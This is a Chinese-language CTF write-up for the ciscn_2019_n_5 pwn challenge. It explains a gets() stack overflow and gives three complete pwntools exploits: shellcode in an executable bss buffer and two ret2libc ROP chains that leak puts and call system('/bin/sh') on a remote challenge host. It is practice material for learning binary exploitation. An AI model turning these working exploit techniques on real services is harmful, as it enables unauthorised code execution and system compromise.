ciscn_2019_n_5
老套路,首先checksec一下文件,保护机制全关(这个时候就要想到可以直接shellcode)
然后ida一下看看伪代码,可以发现一个在bss段上面的name,并且在该代码段为可读可写可执行的权限,也很容易看出来gets造成了溢出,下面就开始对症下药:
法一:
直接在bss段name上面直接构造shellcode(因为该文件未开启NX保护机制,并且该代码段权限全开),然后直接溢出就可以得到shell
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
io =remote('node4.anna.nssctf.cn',28499)
shellcode =asm(shellcraft.sh())
io.sendlineafter(b'tell me your name\n',shellcode)
name =0x601080
payload =b'a'*(0x20 +8) +p64(name)
io.recvuntil(b'What do you want to say to me?\n')
io.sendline(payload)
io.interactive()
法二:(无libc版本文件)
可以直接看成是ret2libc,直接泄露libc,构造rop链来获得shell,因为这题有一个在bss段上面的name,所以可以直接把/bin/sh写到name里面,最后直接执行就能获得shell
exp如下:
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('node4.anna.nssctf.cn',28499)
elf = ELF('./111')
#gdb.attach(p, 'b *0x4006a9')
plt_addr =elf.sym['puts']
got_addr =elf.got['puts']
main_addr =0x400636
ret_addr =0x4004c9
rdi_addr =0x400713
name_addr =0x601080
p.sendafter(b'name\n', b'1')
payload =b'a'*(0x20 +8) +p64(rdi_addr) +p64(got_addr) +p64(plt_addr) +p64(main_addr)
p.sendlineafter(b'me?\n', payload)
puts_addr =u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc =LibcSearcher('puts',puts_addr)
libc_base =puts_addr -libc.dump('puts')
system =libc_base + libc.dump('system')
p.sendafter(b'name\n', b'/bin/sh\x00')
payload =b'a'*(0x20 +8) +p64(ret_addr) +p64(rdi_addr) +p64(name_addr) +p64(system)
p.sendlineafter(b'me?\n',payload)
p.interactive()
法三:(有libc版本文件)
此题为ubuntu 18()64位,可在buu上面直接找到相对应的libc版本,构造的时候有些地方与无libc版本的不同,需要注意,exp如下:
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('node4.anna.nssctf.cn',28158)
elf = ELF('./111')
libc = ELF('./libc-2.27.so')
#gdb.attach(p, 'b *0x4006a9')
plt_addr =elf.sym['puts']
got_addr =elf.got['puts']
main_addr =0x400636
ret_addr =0x4004c9
rdi_addr =0x400713
name_addr =0x601080
p.sendafter(b'name\n', b'1')
payload =b'a'*(0x20 +8) +p64(rdi_addr) +p64(got_addr) +p64(plt_addr) +p64(main_addr)
p.sendlineafter(b'me?\n', payload)
puts_addr =u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base =puts_addr -libc.sym['puts']
system =libc_base + libc.sym['system']
p.sendafter(b'name\n', b'/bin/sh\x00')
payload =b'a'*(0x20 +8) +p64(ret_addr) +p64(rdi_addr) +p64(name_addr) +p64(system)
p.sendlineafter(b'me?\n',payload)
p.interactive()
总结:
此题我认为需要认真分析伪代码,发现其漏洞和一些重要信息,并且需要了解怎么构造shellcode和构造rop执行流,这些都是比较基础的知识点,最后 法二 和 法三 构造exp有些不同点,可以尝试对比一下,你应该会收获不少(上述为个人看法,如有不对,希望各位师傅指正)